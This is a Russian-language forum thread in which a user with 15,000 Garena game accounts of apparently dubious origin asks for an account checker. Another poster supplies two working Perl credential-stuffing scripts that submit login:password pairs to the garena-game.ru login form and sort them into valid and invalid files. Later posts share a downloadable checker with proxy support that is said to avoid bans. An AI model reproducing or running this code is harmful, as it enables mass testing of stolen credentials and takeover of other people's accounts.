Чекер ГГЦ

Чекер аккаунтов Garena

есть ли такой софт (приват, паблик) ?
если нет, сколько стоит написать даже самый примитивный?
p.s. есть 15к акков нужно что-то с ними сделать

 

А что такое ГГЦ..?!

 

Наверное garena

 

Garena RU Community

 

Чекер на валид/не валид..?!

 

У меня есть и ещё 2 акка голд. + спамер есть ещё на гарену.

 

да хотя бы такой...
gidrogash2 очень рад, за тебя

 

стукни 6465777 посмотрим что там сделать можно.

 

Под актив перл.. Исходные данные в файл base.txt в виде

Code:

логин:пасс
логин:пасс

Code:

#!/usr/bin/perl   


use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;

$ua = LWP::UserAgent->new;
$cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);


open(BASE, 'base.txt'); 
chomp(@base = <BASE>);
close(BASE);


sub logg
   {
	my ($data, $file) = @_;
	open(OUT, ">> ".$file);
	print OUT "$data\n";
	close(OUT);
   }



sub check
   {
	my ($auth_data) = @_;
	$cookie_jar->clear();
	$auth_data =~ /^(.+?)\:(.+?)$/g;
	my $login = $1;
	my $pass = $2;

	print $auth_data;
	my $ex = $ua->request(POST 'http://garena-game.ru/index.php', [login_name => $login, login_password => $pass, login => submit]);
	if($cookie_jar->as_string =~/dle_password=/)
	   {
		print " : GOOD\n";
		logg("$login:$pass", "good.txt");
	   }

	else
	   {
		print " : BAD\n";
		logg("$login:$pass", "bad.txt");
	   }

   }


foreach (@base)
   {
	check($_);
   }

 

оп, Fepsis спасибо огромное, теперь еще подскажи как быть если акки в таком виде...

 

Попробуй так:

Code:

#!/usr/bin/perl   


use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;

$ua = LWP::UserAgent->new;
$cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);


open(BASE, 'base.txt'); 
chomp(@base = <BASE>);
close(BASE);


sub logg
   {
	my ($data, $file) = @_;
	open(OUT, ">> ".$file);
	print OUT "$data\n";
	close(OUT);
   }



sub check
   {
	my ($auth_data) = @_;
	$cookie_jar->clear();
	$auth_data =~ /\;(.+?)\;(.+?) \[/g;
	my $login = $1;
	my $pass = $2;

	print "$login:$pass";
	my $ex = $ua->request(POST 'http://garena-game.ru/index.php', [login_name => $login, login_password => $pass, login => submit]);
	if($cookie_jar->as_string =~/dle_password=/)
	   {
		print " : GOOD\n";
		logg("$login:$pass", "good.txt");
	   }

	else
	   {
		print " : BAD\n";
		logg("$login:$pass", "bad.txt");
	   }

   }


foreach (@base)
   {
	check($_);
   }

 

работает?

 

nuBo, это случайно не те 15К акков, которые в ПВМ-приватах выложены?

 

что такое ПВМ-приват ?
не знаю, просто хочу прочекать а там уже придумаю что с ними сделать

 

дополнительные пакеты не нужны?
ActivePerl 5.10.1 все акки кидает в не валид...

 

Нет, не нужны.. А ты уверен, что там есть валид вообще...?! Я тестил на 2-х валидных акках.. Из пары сотен акков он их определял нормально...

Скинь мне в личку с десяток акков в таком виде, в котором они у тебя.. И чтобы среди них было несколько валидных.. Проверю, может неправильно мой скрипт логин и пасс выдирает...

 

о, спасибо чувак я то ломал голову, что это за акки такие (

 

нашел чекер, но те акки что выше явно не с него у него другой вид логов...
Сам чекер:
Чекер акков гарены

- Пароли не проверяет! - "не догоняю этого пункта ?"
- Не банится
- Работает быстро.
- Выдает информацию по списку акков или по отдельному акку
- Предусмотрены прокси - на всякий случай)
- Можно задавать файлы со списком вида:

- пароль будет выведен в отдельную строку

Continue from step - продолжить с определенной строки в файле
Min level to write - будет выводить аккаунты с уровнем не ниже указанного
AutoSave to file - сразу сохраняет аккаунты в указанный файл
Save to file - сохраняет содержимое текстового поля в указанный файл (если файл не пустой информация будет дописана)

Скачать:
Прямой Линк
Депозит

 

спасибо
накатал прогу, удаляющую всё лишнее из логов неизвестного чекера и приводящую список к виду login;pass
http://slil.ru/28686777
если надо - юзайте